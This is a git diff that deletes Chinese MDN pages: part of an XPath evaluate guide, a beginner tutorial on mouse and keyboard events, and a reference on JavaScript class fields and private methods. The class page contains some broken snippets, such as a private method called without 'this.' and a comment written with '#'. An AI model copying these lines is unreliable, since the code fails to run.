返回的 XPathResult 对象是一个匹配节点的静态节点集,这允许我们通过 XPathResult 对象的 snapshotItem(itemNumber) 方法访问每个节点,其中 itemNumber 是要检索的节点的索引。包含的节点总数可以通过 snapshotLength 属性访问。

- -

快照不随文档突变而改变,因此与迭代器不同,快照不会变得无效,但是它可能不对应于当前文档,例如节点可能已被移动,它可能包含不再存在的节点,或新节点可能已添加。

- -
Snapshot Example
- -
var nodesSnapshot = document.evaluate('//phoneNumber', documentNode, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null );
-
-for ( var i=0 ; i < nodesSnapshot.snapshotLength; i++ )
-{
-  dump( nodesSnapshot.snapshotItem(i).textContent );
-}
-
- -
First Node
- -

resultType 参数中的指定结果类型为:

- -
    -
  • ANY_UNORDERED_NODE_TYPE
  • -
  • FIRST_ORDERED_NODE_TYPE
  • -
- -

返回的 XPathResult 对象只是匹配 XPath 表达式的第一个找到的节点。这可以通过 XPathResult 对象的 singleNodeValue 属性访问。如果节点集为空,这将为 null

- -

请注意,对于无序子类型,返回的单个节点可能不是文档顺序中的第一个,但是对于有序子类型,保证以文档顺序获取第一个匹配的节点。

- -
First Node Example
- -
var firstPhoneNumber = document.evaluate('//phoneNumber', documentNode, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null );
-
-dump( 'The first phone number found is ' + firstPhoneNumber.singleNodeValue.textContent );
-
- -

ANY_TYPE 常量

- -

resultType 参数中的结果类型指定为 ANY_TYPE 时,返回的 XPathResult 对象将是由表达式求值自然产生的任何类型。

- -

它可以是任何简单类型(NUMBER_TYPESTRING_TYPEBOOLEAN_TYPE ),如果返回的结果类型是节点集,那么它将是一个 UNORDERED_NODE_ITERATOR_TYPE

- -

要在评估后确定类型,我们使用 XPathResult 对象的 resultType 属性。此属性的常量值在附录中定义。 None Yet =====Any_Type Example===== <pre> </pre>

- -

示例

- -

在 HTML 文档中

- -

以下代码旨在放置在要针对其评估 XPath 表达式的 HTML 文档中内嵌或外链的任何 JavaScript 片段中。

- -

要使用 XPath 提取 HTML 文档中的所有 <h2> 标题元素,xpathExpression 只是 //h2。其中,// 是递归下降运算符,在文档树中的任何位置将元素与 nodeName h2 相匹配。这个的完整代码是: link to introductory xpath doc

- -
var headings = document.evaluate('//h2', document, null, XPathResult.ANY_TYPE, null );
-
- -

请注意,由于 HTML 没有命名空间,因此我们为 namespaceResolver 参数传递了 null

- -

因为希望在整个文档中搜索标题,所以我们使用 document 对象本身作为 contextNode

- -

此表达式的结果是 XPathResult 对象。如果想知道返回的结果的类型,我们可以评估返回的对象的 resultType 属性。在这种情况下,这将评估为 4,即 UNORDERED_NODE_ITERATOR_TYPE。这是 XPath 表达式的结果是节点集时的默认返回类型。它一次提供对单个节点的访问,并且可能不以特定顺序返回节点。要访问返回的节点,我们使用返回对象的 iterateNext() 方法:

- -
var thisHeading = headings.iterateNext();
-
-var alertText = 'Level 2 headings in this document are:\n'
-
-while (thisHeading) {
-  alertText += thisHeading.textContent + '\n';
-  thisHeading = headings.iterateNext();
-}
-
- -

一旦迭代到一个节点,我们就可以访问该节点上的所有标准 DOM 接口。在遍历从表达式返回的所有 h2 元素之后,对 iterateNext() 的任何进一步调用都将返回 null 。

- -

针对扩展中的 XML 文档进行评估

- -

以下使用位于 chrome://yourextension/content/peopleDB.xml 的 XML 文档作为示例。

- -
<?xml version="1.0"?>
-<people xmlns:xul = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" >
-  <person>
-  <name first="george" last="bush" />
-  <address street="1600 pennsylvania avenue" city="washington" country="usa"/>
-  <phoneNumber>202-456-1111</phoneNumber>
-  </person>
-  <person>
-  <name first="tony" last="blair" />
-  <address street="10 downing street" city="london" country="uk"/>
-  <phoneNumber>020 7925 0918</phoneNumber>
-  </person>
-</people>
-
- -

为了使 XML 文档的内容在扩展中可用,我们创建一个 XMLHttpRequest 对象以同步加载文档,变量 xmlDoc 将包含该文档作为 XMLDocument 对象,我们可以使用 evaluate 方法。

- -

JavaScript用于扩展 xul/js 文档。

- -
var req = new XMLHttpRequest();
-
-req.open("GET", "chrome://yourextension/content/peopleDB.xml", false);
-req.send(null);
-
-var xmlDoc = req.responseXML;
-
-var nsResolver = xmlDoc.createNSResolver( xmlDoc.ownerDocument == null ? xmlDoc.documentElement : xmlDoc.ownerDocument.documentElement);
-
-var personIterator = xmlDoc.evaluate('//person', xmlDoc, nsResolver, XPathResult.ANY_TYPE, null );
-
- -

注意

- -

当未定义 XPathResult 对象时,可以使用 Components.interfaces.nsIDOMXPathResult.ANY_TYPE (CI.nsIDOMXPathResult) 在特权代码中检索常量。类似地,可以使用以下创建 XPathEvaluator:

- -
Components.classes["@mozilla.org/dom/xpath-evaluator;1"].createInstance(Components.interfaces.nsIDOMXPathEvaluator)
- -

附录

- -

实现用户定义的命名空间解析器

- -

这只是一个例子。此函数将需要从 xpathExpression 获取命名空间前缀,并返回与该前缀对应的 URI。例如,表达式:

- -
'//xhtml:td/mathml:math'
-
- -

将选择作为 (X)HTML 表数据单元元素的子项的所有 MathML 表达式。

- -

为了将使用命名空间 URI http://www.w3.org/1998/Math/MathMLmathml: 前缀和使用 URI http://www.w3.org/1999/xhtmlxhtml: 关联,我们提供了一个函数:

- -
function nsResolver(prefix) {
-  var ns = {
-    'xhtml' : 'http://www.w3.org/1999/xhtml',
-    'mathml': 'http://www.w3.org/1998/Math/MathML'
-  };
-  return ns[prefix] || null;
-}
-
- -

我们对 document.evaluate 的调用将如下所示:

- -
document.evaluate( '//xhtml:td/mathml:math', document, nsResolver, XPathResult.ANY_TYPE, null );
-
- -

为 XML 文档实现默认命名空间

- -

如前面实现默认命名空间解析器中所述,默认解析器不处理 XML 文档的默认命名空间。 例如使用本文档:

- -
<?xml version="1.0" encoding="UTF-8"?>
-<feed xmlns="http://www.w3.org/2005/Atom">
-    <entry />
-    <entry />
-    <entry />
-</feed>
-
- -

doc.evaluate('//entry', doc, nsResolver, XPathResult.ANY_TYPE, null) 将返回一个空集,其中 nsResolver 是 createNSResolver 返回的解析器。传递一个 null 解析器再好不过了。

- -

一种可能的解决方法是创建一个自定义解析器,返回正确的默认命名空间(本例中为 Atom 命名空间)。请注意,您仍然必须在 XPath 表达式中使用一些命名空间前缀,以便解析器函数能够将其更改为所需的命名空间。例如:

- -
function resolver() {
-    return 'http://www.w3.org/2005/Atom';
-}
-doc.evaluate('//myns:entry', doc, resolver, XPathResult.ANY_TYPE, null)
-
- -

请注意,如果文档使用多个命名空间,则需要更复杂的解析器。

- -

下一节将介绍一种可能更好的方法(并允许不提前知道命名空间)。

- -

使用XPath函数引用具有默认命名空间的元素

- -

另一种匹配非空命名空间中的默认的元素的方法(以及对于动态 XPath 表达式很有效,其中命名空间可能未知),涉及使用如 [namespace-uri()='http://www.w3.org/1999/xhtml' and name()='p' and @id='_myid']。这避免了 XPath 查询无法检测到定期标记的元素上的默认命名空间的问题。

- -

获取特定的命名空间元素和属性,而不考虑前缀

- -

如果希望在命名空间(像预期的那样)中提供灵活性,当发现命名空间元素或属性时不一定需要使用特定的前缀,必须使用特殊技术。

- -

虽然可以修改上述部分中的方法来测试命名空间元素,而不管选择的前缀(使用 local-name() 结合 namespace-uri() 而不是 name()),但是会发生更具挑战性的情况,如果希望在谓词中获取具有特定命名空间属性的元素(假设在 XPath 1.0 中没有与实现无关的变量)。

- -

例如,可能尝试(不正确地)使用 namespaced 属性获取元素,如下所示: var xpathlink = someElements[local-name(@*)="href" and namespace-uri(@*)='http://www.w3.org/1999/xlink'];

- -

这可能会无意中抓取一些元素,如果它的一个属性存在,本地名称为 href,但它是一个不同的属性,有目标(XLink)命名空间(而不是 @href)。

- -

为了使用 XLink @href 属性(而不仅限于命名空间解析器中的预定义前缀)精确地抓取元素,可以按如下方式获取它们:

- -
var xpathEls = 'someElements[@*[local-name() = "href" and namespace-uri() = "http://www.w3.org/1999/xlink"]]'; // Grabs elements with any single attribute that has both the local name 'href' and the XLink namespace
-var thislevel = xml.evaluate(xpathEls, xml, null, XPathResult.ANY_TYPE, null);
-var thisitemEl = thislevel.iterateNext();
-
- -

XPathResult 定义的常量

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
结果类型定义的常数描述
ANY_TYPE0包含任何类型的结果集,从表达式的评估中自然地产生。注意,如果结果是节点集,则 UNORDERED_NODE_ITERATOR_TYPE 始终是结果类型。
NUMBER_TYPE1包含单个数字的结果。这非常有用,例如,在 XPath 表达式中使用 count() 函数。
STRING_TYPE2包含单个字符串的结果。
BOOLEAN_TYPE3包含单个布尔值的结果。这非常有用,例如,在 XPath 表达式中使用 not() 函数。
UNORDERED_NODE_ITERATOR_TYPE4包含与表达式匹配的所有节点的结果节点集。节点可能不一定与它们在文档中出现的顺序相同。
ORDERED_NODE_ITERATOR_TYPE5包含与表达式匹配的所有节点的结果节点集。结果集中的节点与文档中显示的节点顺序相同。
UNORDERED_NODE_SNAPSHOT_TYPE6包含与表达式匹配的所有节点的快照的结果节点集。节点可能不一定与它们在文档中出现的顺序相同。
ORDERED_NODE_SNAPSHOT_TYPE7包含与表达式匹配的所有节点的快照的结果节点集。结果集中的节点与文档中显示的节点顺序相同。
ANY_UNORDERED_NODE_TYPE8包含与表达式匹配的任何单个节点的结果节点集。该节点不一定是文档中与表达式匹配的第一个节点。
FIRST_ORDERED_NODE_TYPE9包含文档中与表达式匹配的第一个节点的结果节点集。
- -

参见

- - - -
-

Original Document Information

- -
    -
  • Based Upon Original Document Mozilla XPath Tutorial
  • -
  • Original Source Author: James Graham.
  • -
  • Other Contributors: James Thompson.
  • -
  • Last Updated Date: 2006-3-25.
  • -
-
- -

 

diff --git "a/files/zh-cn/web/javascript/javascript(\350\265\267\346\255\245)/index.html" "b/files/zh-cn/web/javascript/javascript(\350\265\267\346\255\245)/index.html" deleted file mode 100644 index b9cd157ec1..0000000000 --- "a/files/zh-cn/web/javascript/javascript(\350\265\267\346\255\245)/index.html" +++ /dev/null @@ -1,292 +0,0 @@ ---- -title: javascript(起步) -slug: Web/JavaScript/javascript(起步) -tags: - - bug-840092 ---- -

JavaScript是什么?

- -

作为一门计算机语言,JavaScript本身强大、复杂,且难于理解。但是,你可以用它来开发一系列的应用程序,它有巨大的潜力来改变当前的互联网现状。下面这个应用程序就是一个很好的例子:Google Maps

- -

JavaScript(通称为ECMAScript)最大的优势在于,它基于浏览器,但是通过浏览器的支持可以在不同平台上生产出相同结果。 本文举出的例子是 Google Maps,它几乎可以无差别的运行在 Linux、Windows和Mac OS系统中。 伴随大量JavaScript类库的出现,你现在可以用它很轻易的实现文档导航、DOM元素选择、创建动画、处理事件和开发AJAX应用。同其他因各种利益目的而推动的技术不同,JavaScript是一种真正免费并且被广泛采用的跨平台编程语言。

- -

你应该知道

- -

JavaScript是一种非常容易入门的编程语言。你只需要一个文本编辑器和web浏览器就可以开始进行学习。 

- -

在使用 JavaScript进行开发的过程中,可能还会涉及很多其他技术,这不在本文讨论的范围之内。 所以,不要期望在学习的第一天就能开发出一个类似 Google maps 这样的应用程序。

- -

起步

- -

JavaScript的起步非常简单。你不需要进行复杂的程序安装,不需要去了解如何使用shell、打包器或编译器。它是通过浏览器来展示的,你所需要做的全部事情就是把你的代码保存为文本文件,然后再浏览器中打开。就这么简单!

- -

JavaScript非常适合作为入门级的编程语言。它直观形象,并且教会学生认识到这是一个在实际生活中非常有用的工具。 对比C、C++和 Java等语言会发现有很大不同,它们只对那些专业的软件开发者来说是有价值的。

- -

浏览器兼容问题

- -

不同浏览器在功能实现上有很多不同之处。Mozilla, Microsoft IE, Apple Safari 和 Opera 在行为上有很多差异。 我们计划在此记录这些差异 documenting these variations。你可以使用各种跨平台的JavaScript API接口来解决这些兼容性问题。这些API隐藏了浏览器之间的各种差异,提供了通用性的功能函数来方便调用。

- -

如何运行示例

- -

下面的例子都有相同的代码。要执行它们有多种方法,如果你有自己的个人站点,你还可以在站点上把这些例子保存为新的页面。

- -

如果你没有自己的个人站点,你可以在电脑上把这些例子保存下来,并使用你自己的浏览器来执行它们。这就是JavaScript简单的地方,也是它适合做入门语言的原因。你不需要编译器或者开发环境,你只需要一个浏览器就可以开始起步了。

- -

举例:捕获一个鼠标单击事件

- -

事件处理 (事件类型、事件注册、冒泡等) 的细节是一个非常宽泛的话题,这个简单的例子并不能说明所有的问题。然而,如果我们不涉及JavaScript事件系统,我们就不能很好展示一个鼠标点击捕获的范例。你只需要记得例子里展示的只是JavaScrpt事件系统里非常表象的一些东西,如果你想要了解更多的内部细节,那你可以去查找更详细的相关资料。

- -

鼠标事件只是浏览器同用户交互过程中所产生的事件系统里的一个子集。下面列举了一些用户在交互过程中产生的具体的鼠标事件:

- -
    -
  • Click - 用户点击鼠标时触发
  • -
  • DblClick - 用户双击鼠标时触发
  • -
  • MouseDown - 用户按下鼠标键触发 (click事件前半部分)
  • -
  • MouseUp - 用户释放鼠标键触发 (click事件后半部分)
  • -
  • MouseOut - 当鼠标指针离开对象物理边界时触发
  • -
  • MouseOver - 当鼠标指针进入对象物理边界时触发
  • -
  • MouseMove -当鼠标指针在对象物理边界内移动时触发
  • -
  • ContextMenu - 用户点击鼠标右键时触发
  • -
- -

捕获事件并注册处理函数最简单的办法就是使用HTML,你可以把事件当成元素属性来使用。例子:

- -
  <span onclick="alert('Hello World!');">Click Here</span>
- -

要执行的JavaScript代码既可以作为属性值写在行内位置,也可以写成函数并用<script>包裹后放到HTML页面中:

- -
<script type="text/javascript">
-  function onclick_callback () {
-     alert ("Hello, World!");
-  }
-</script>
-<span onclick="onclick_callback();">Click Here</span>
- -

另外,事件对象是可以被捕获和引用,开发者可以通过访问事件对象来获取更多信息,如捕获事件的对象、事件类型、哪个鼠标按键被点击等。我们还用上面的例子来说明:

- -
<script type="text/javascript">
-  function onclick_callback(event) {
-    var eType = event.type;
-    /* the following is for compatability */
-    /* Moz populates the target property of the event object */
-    /* IE populates the srcElement property */
-    var eTarget = event.target || event.srcElement;
-
-    alert( "Captured Event (type=" + eType + ", target=" + eTarget );
-  }
-</script>
-<span onclick="onclick_callback(event);">Click Here</span>
- -

对于事件的注册和接收还用注意一些的是,你可以给任何使用JavaScript生成的HTMLElement对象做相同的操作。下面的例子展示了一个这样的过程:生成span对象,添加到页面中的body,给span注册mouse-over、mouse-out、mouse-down和 mouse-up事件。

- -
<script type="text/javascript">
-  function mouseevent_callback(event) {
-    /* The following is for compatability */
-    /* IE does NOT by default pass the event object */
-    /* obtain a ref to the event if one was not given */
-    if (!event) event = window.event;
-
-    /* obtain event type and target as earlier */
-    var eType = event.type;
-    var eTarget = event.target || event.srcElement;
-    alert(eType +' event on element with id: '+ eTarget.id);
-  }
-
- function onload () {
-   /* obtain a ref to the 'body' element of the page */
-   var body = document.body;
-   /* create a span element to be clicked */
-   var span = document.createElement('span');
-   span.id = 'ExampleSpan';
-   span.appendChild(document.createTextNode ('Click Here!'));
-
-   /* register the span object to receive specific mouse events */
-   span.onmousedown = mouseevent_callback;
-   span.onmouseup = mouseevent_callback;
-   span.onmouseover = mouseevent_callback;
-   span.onmouseout = mouseevent_callback;
-
-   /* display the span on the page */
-   body.appendChild(span);
-}
-</script>
- -

{{ draft() }}

- -

举例:捕获一个键盘事件

- -

同上面的例子类似,键盘事件捕获也依赖于JavaScript事件系统。当键盘上的键被使用的时候触发键盘事件。

- -

下面的列表展示了一些具体的键盘事件,同鼠标事件相比是很少的:

- -
    -
  • KeyPress - 按键被按下并且释放后触发
  • -
  • KeyDown - 按键被按下但是还没有被释放时触发
  • -
  • KeyUp - 按键被释放时触发
  • -
  • TextInput ( Webkit浏览器下可以使用,并且只在输入时有效) - 通过粘贴、语音或者键盘输入文本时触发。本文不介绍该事件。
  • -
- -

在一个 keypress 事件中,键值的Unicode编码会存储到属性keyCode或者charCode 中,但是两者不会同时存在。按键会生成一个字母 (如 'a'),这时会把字母的编码存储到charCode 中,注意这里是区分大小写的( charCode 会判断shift键是否同时被按下)。其他情况下,编码会存储到 keyCode中。

- -

捕获键盘事件最简单的方法仍然是在HTML中注册键盘事件的处理函数,在元素属性中处理相关事件。 举例:

- -
  <input type="text" onkeypress="alert ('Hello World!');"></input>
-
- -

同鼠标事件类似,你的 JavaScript代码既可以写到属性值内,也可以作为函数用<script包裹后写到HTML页面中:

- -
<script type="text/javascript">
-  function onkeypress_callback () {
-    alert ("Hello, World!");
-  }
-</script>
-
-<input onkeypress="onkeypress_callback();"></input>
-
- -

捕获事件和引用事件源(一个真实的键被按下时) 的方法同鼠标事件类似:

- -
<script type="text/javascript">
-  function onkeypress_callback(evt) {
-      var eType = evt.type; // Will return "keypress" as the event type
-      var eCode = 'keyCode is ' + evt.keyCode;
-      var eChar = 'charCode is ' + evt.charCode;
-
-      alert ("Captured Event (type=" + eType + ", key Unicode value=" + eCode + ", ASCII value=" + eChar + ")");
-   }
-</script>
-<input onkeypress="onkeypress_callback(event);"></input>
- -

要捕获页面上所有的键盘事件,可以在document上注册和绑定相关的处理函数:

- -
<script type="text/javascript">
-  document.onkeypress = key_event;
-  document.onkeydown = key_event;
-  document.onkeyup = key_event;
-
-  function key_event(evt) {
-      var eType = evt.type;
-      var eCode = "ASCII code is " + evt.keyCode;
-      var eChar = 'charCode is ' + evt.charCode;
-
-      alert ("Captured Event (type=" + eType + ", key Unicode value=" + eCode + ", ASCII value=" + eChar + ")");
-   }
-</script>
- -

下面是一个完整的键盘事件处理过程:

- -
<!DOCTYPE html>
-<html>
-<head>
-  <script>
-    var metaChar = false;
-    var exampleKey = 16;
-    function keyEvent(event) {
-      var key = event.keyCode || event.which;
-      var keychar = String.fromCharCode(key);
-      if (key==exampleKey) { metaChar = true; }
-      if (key!=exampleKey) {
-         if (metaChar) {
-            alert("Combination of metaKey + " + keychar)
-            metaChar = false;
-         } else { alert("Key pressed " + key); }
-      }
-    }
-    function metaKeyUp (event) {
-      var key = event.keyCode || event.which;
-      if (key==exampleKey) { metaChar = false; }
-    }
-  </script>
-</head>
-<body onkeydown="keyEvent(event)" onkeyup="metaKeyUp(event)">
-</body>
-</html>
- -

浏览器 bugs 和 quirks

- -

键盘事件中有两个可用的属性keyCode 和 charCode。通常情况下,keyCode 指向的是用户按下的键盘上的那个键,而charCode 存储的是相应键的 ASCII 码值。这两个值不一定相同,如, 小写 'a' 和 大写 'A' 拥有相同的 keyCode,因为用户按下的是相同的按键,但是他们的charCode不同,因为两个字母的码值不同。 

- -

不同浏览器对于charCode的处理方式并不统一。例如Internet Explorer 和Opera 并不支持 charCode,他们把字母信息写到了keyCode中,而且只在 onkeypress下有效。在 Onkeydown 和Onkeyup的事件中, keyCode 存储的仍然是按键的相关信息。 Firefox 则使用 "which", 来区分字母。.

- -

可以到 Mozilla 文档 Keyboard Events 去了解关于键盘事件的更多信息。.

- -

{{ draft() }}

- -

举例:拖曳图片

- -

下面的例子展示了firefox浏览器下如何实现拖动图片:

- -
<!DOCTYPE html>
-<html>
-<head>
-<style type='text/css'>
-img { position: absolute; }
-</style>
-
-<script type='text/javascript'>
-window.onload = function() {
-
-  movMeId=document.getElementById("ImgMov");
-  movMeId.style.top = "80px";
-  movMeId.style.left = "80px";
-  movMeId.style.position = "absolute";
-
-  document.onmousedown = coordinates;
-  document.onmouseup=mouseup;
-
-  function coordinates(e) {
-    if (e == null) { e = window.event;}
-    var sender = (typeof( window.event ) != "undefined" ) ? e.srcElement : e.target;
-
-    if (sender.id=="ImgMov") {
-      mouseover = true;
-      pleft = parseInt(movMeId.style.left);
-      ptop = parseInt(movMeId.style.top);
-      xcoor = e.clientX;
-      ycoor = e.clientY;
-      document.onmousemove=moveImage;
-      return false;
-    } else {
-        return false;
-    }
-  }
-
-  function moveImage(e) {
-    if (e == null) { e = window.event; }
-    movMeId.style.left = pleft+e.clientX-xcoor+"px";
-    movMeId.style.top = ptop+e.clientY-ycoor+"px";
-    return false;
-  }
-
-  function mouseup(e) {
-    document.onmousemove = null;
-  }
-}
-</script>
-</head>
-
-<body>
-  <img id="ImgMov" src="http://mozcom-cdn.mozilla.net/img/covehead/about/logo/download/logo-only.png" width="64" height="64"/>
-  <p>Drag and drop around the image in this page.</p>
-</body>
-
-</html>
- -

举例:改变大小

- -
{{todo("Need Content. Or, remove headline")}}
- -

举例:绘制直线

- -
-

附加文档信息

- - -
- -

 

diff --git a/files/zh-cn/web/javascript/reference/classes/class_elements/index.html b/files/zh-cn/web/javascript/reference/classes/class_elements/index.html deleted file mode 100644 index fb8c618a9b..0000000000 --- a/files/zh-cn/web/javascript/reference/classes/class_elements/index.html +++ /dev/null @@ -1,352 +0,0 @@ ---- -title: 类元素 -slug: Web/JavaScript/Reference/Classes/Class_elements -tags: - - Class - - JavaScript - - 类 -translation_of: Web/JavaScript/Reference/Classes/Public_class_fields ---- -
{{JsSidebar("Classes")}}
- -
公有(public)和私有(private)字段声明是一个JavaScript标准委员会TC39提议的试验性功能 (第3阶段)。这项功能在浏览器中的支持还受限,但你可以通过Babel等构建系统来使用它。参见下面的兼容性信息
- -

公有字段

- -

静态公有字段和实例公有字段都是可编辑的,可遍历的,可配置的。它们本身不同于私有对应值(private counterparts)的是,它们参与原型的继承。

- -

静态公有字段

- -

静态公有字段在你想要创建一个只在每个类里面只存在一份,而不会存在于你创建的每个类的实例中的属性时可以用到。你可以用它存放缓存数据、固定结构数据或者其他你不想在所有实例都复制一份的数据。

- -

静态公有字段是使用关键字 static 声明的。我们在声明一个类的时候,使用Object.defineProperty方法将静态公有字段添加到类的构造函数中。在类被声明之后,可以从类的构造函数访问静态公有字段。

- -
class ClassWithStaticField {
-  static staticField = 'static field';
-}
-
-console.log(ClassWithStaticField.staticField);
-// 预期输出值: "static field"​
-
- -

没有设定初始化程序的字段将默认被初始化为undefined

- -
class ClassWithStaticField {
-  static staticField;
-}
-
-console.assert(ClassWithStaticField.hasOwnProperty('staticField'));
-console.log(ClassWithStaticField.staticField);
-// 预期输出值: "undefined"
- -

静态公有字段不会在子类里重复初始化,但我们可以通过原型链访问它们。

- -
class ClassWithStaticField {
-  static baseStaticField = 'base field';
-}
-
-class SubClassWithStaticField extends ClassWithStaticField {
-  static subStaticField = 'sub class field';
-}
-
-console.log(SubClassWithStaticField.subStaticField);
-// 预期输出值: "sub class field"
-
-console.log(SubClassWithStaticField.baseStaticField);
-// 预期输出值: "base field"
- -

当初始化字段时,this指向的是类的构造函数。你可以通过名字引用构造函数,并使用super获取到存在的超类构造函数。

- -
class ClassWithStaticField {
-  static baseStaticField = 'base static field';
-  static anotherBaseStaticField = this.baseStaticField;
-
-  static baseStaticMethod() { return 'base static method output'; }
-}
-
-class SubClassWithStaticField extends ClassWithStaticField {
-  static subStaticField = super.baseStaticMethod();
-}
-
-console.log(ClassWithStaticField.anotherBaseStaticField);
-// 预期输出值: "base static field"
-
-console.log(SubClassWithStaticField.subStaticField);
-// 预期输出值: "base static method output"
-
- -

公有实例字段

- -

公有实例字段存在于类的每一个实例中。通过声明一个公有字段,我们可以确保该字段一直存在,而类的定义则会更加像是自我描述。

- -

公有实例字段可以在基类的构造过程中(构造函数主体运行前)使用Object.defineProperty添加,也可以在子类构造函数中的super()函数结束后添加。

- -
class ClassWithInstanceField {
-  instanceField = 'instance field';
-}
-
-const instance = new ClassWithInstanceField();
-console.log(instance.instanceField);
-// 预期输出值: "instance field"
- -

没有设定初始化程序的字段将默认被初始化为undefined

- -
class ClassWithInstanceField {
-  instanceField;
-}
-
-const instance = new ClassWithInstanceField();
-console.assert(instance.hasOwnProperty('instanceField'));
-console.log(instance.instanceField);
-// 预期输出值: "undefined"
- -

和属性(properties)一样,字段名可以由计算得出。

- -
const PREFIX = 'prefix';
-
-class ClassWithComputedFieldName {
-    [`${PREFIX}Field`] = 'prefixed field';
-}
-
-const instance = new ClassWithComputedFieldName();
-console.log(instance.prefixField);
-// 预期输出值: "prefixed field"
- -

当初始化字段时,this指向的是类正在构造中的实例。和公共实例方法相同的是:你可以在子类中使用super来访问超类的原型。

- -
class ClassWithInstanceField {
-  baseInstanceField = 'base field';
-  anotherBaseInstanceField = this.baseInstanceField;
-  baseInstanceMethod() { return 'base method output'; }
-}
-
-class SubClassWithInstanceField extends ClassWithInstanceField {
-  subInstanceField = super.baseInstanceMethod();
-}
-
-const base = new ClassWithInstanceField();
-const sub = new SubClassWithInstanceField();
-
-console.log(base.anotherBaseInstanceField);
-// 预期输出值: "base field"
-
-console.log(sub.subInstanceField);
-// 预期输出值: "base method output"
- -

公共方法

- -

静态公共方法

- -

关键字static将为一个类定义一个静态方法。静态方法不会在实例中被调用,而只会被类本身调用。它们经常是工具函数,比如用来创建或者复制对象。

- -

{{EmbedInteractiveExample("pages/js/classes-static.html")}}

- - - -

静态方法是在类的赋值阶段用Object.defineProperty方法添加到类中的。静态方法是可编辑的、不可遍历的和可配置的。

- -

公共实例方法

- -

正如其名,公共实例方法是可以在类的实例中使用的。

- -
class ClassWithPublicInstanceMethod {
-  publicMethod() {
-    return 'hello world';
-  }
-}
-
-const instance = new ClassWithPublicInstanceMethod();
-console.log(instance.publicMethod());
-// 预期输出值: "hello worl​d"
- -

公共实例方法是在类的赋值阶段用Object.defineProperty方法添加到类中的。静态方法是可编辑的、不可遍历的和可配置的。

- -

你可以使用生成器(generator)、异步和异步生成器方法。

- -
class ClassWithFancyMethods {
-  *generatorMethod() { }
-  async asyncMethod() { }
-  async *asyncGeneratorMethod() { }
-}
- -

在实例的方法中,this指向的是实例本身,你可以使用super访问到超类的原型,由此你可以调用超类的方法。

- -
class BaseClass {
-  msg = 'hello world';
-  basePublicMethod() {
-    return this.msg;
-  }
-}
-
-class SubClass extends BaseClass {
-  subPublicMethod() {
-    return super.basePublicMethod();
-  }
-}
-
-const instance = new SubClass();
-console.log(instance.subPublicMethod());
-// 预期输出值: "hello worl​d"
-
- -

gettersetter是和类的属性绑定的特殊方法,分别会在其绑定的属性被取值、赋值时调用。使用getset句法定义实例的公共gettersetter

- -
class ClassWithGetSet {
-  #msg = 'hello world';
-  get msg() {
-    return this.#msg;
-  }
-  set msg(x) {
-    this.#msg = `hello ${x}`;
-  }
-}
-
-const instance = new ClassWithGetSet();
-console.log(instance.msg);
-// expected output: "hello worl​d"
-
-instance.msg = 'cake';
-console.log(instance.msg);
-// 预期输出值: "hello cake"
-
- -

私有字段

- -

静态私有字段

- -

静态私有字段可以在类声明本身内部的构造函数上被访问到。

- -

静态变量只能被静态方法访问的限制依然存在。

- -
class ClassWithPrivateStaticField {
-  static #PRIVATE_STATIC_FIELD;
-
-  static publicStaticMethod() {
-    ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD = 42;
-    return ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD;
-  }
-}
-
-assert(ClassWithPrivateStaticField.publicStaticMethod() === 42);
- -

静态私有字段是在类赋值的时候被添加到类构造函数中的。

- -

静态私有字段有一个来源限制。只有定义静态私有字段的类可以访问该字段。这在使用this时,可能会导致不符合预期的行为。

- -
class BaseClassWithPrivateStaticField {
-  static #PRIVATE_STATIC_FIELD;
-
-  static basePublicStaticMethod() {
-    this.#PRIVATE_STATIC_FIELD = 42;
-    return this.#PRIVATE_STATIC_FIELD;
-  }
-}
-
-class SubClass extends BaseClassWithPrivateStaticField { }
-
-assertThrows(() => SubClass.basePublicStaticMethod(), TypeError);
-
- -

私有实例字段

- -

私有实例字段是通过# names句型(读作“哈希名称”)声明的,即为识别符加一个前缀“#”。“#”是名称的一部分,也用于访问和声明。

- -

封装是语言强制实施的。引用不在作用域内的 # names 是语法错误。

- -
class ClassWithPrivateField {
-  #privateField;
-
-  constructor() {
-    this.#privateField = 42;
-    this.#randomField = 666; # Syntax error
-  }
-}
-
-const instance = new ClassWithPrivateField();
-instance.#privateField === 42; // Syntax error
-
- -

私有方法

- -

静态私有方法

- -

和静态公共方法一样,静态私有方法也是在类里面而非实例中调用的。和静态私有字段一样,它们也只能在类的声明中访问。

- -

你可以使用生成器(generator)、异步和异步生成器方法。

- -

静态私有方法可以是生成器、异步或者异步生成器函数。

- -
class ClassWithPrivateStaticMethod {
-    static #privateStaticMethod() {
-        return 42;
-    }
-
-    static publicStaticMethod() {
-        return ClassWithPrivateStaticMethod.#privateStaticMethod();
-    }
-}
-
-assert(ClassWithPrivateStaticMethod.publicStaticMethod() === 42);
-
- -

私有实例方法

- -

私有实例方法在类的实例中可用,它的访问方式的限制和私有实例字段相同。

- -
class ClassWithPrivateMethod {
-  #privateMethod() {
-    return 'hello world';
-  }
-
-  getPrivateMessage() {
-      return #privateMethod();
-  }
-}
-
-const instance = new ClassWithPrivateMethod();
-console.log(instance.getPrivateMessage());
-// 预期输出值: "hello worl​d"
- -

私有实例方法可以是生成器、异步或者异步生成器函数。私有gettersetter也是可能的:

- -
class ClassWithPrivateAccessor {
-  #message;
-
-  get #decoratedMessage() {
-    return `✨${this.#message}✨`;
-  }
-  set #decoratedMessage(msg) {
-    this.#message = msg;
-  }
-
-  constructor() {
-    this.#decoratedMessage = 'hello world';
-    console.log(this.#decoratedMessage);
-  }
-}
-
-new ClassWithPrivateAccessor();
-// 预期输出值: "✨hello worl​d✨"
-
- -

浏览器兼容性

- -

公共类字段

- - - -

{{Compat("javascript.classes.public_class_fields")}}

- -

私有类字段

- - - -

{{Compat("javascript.classes.private_class_fields")}}

- -

另请参考:

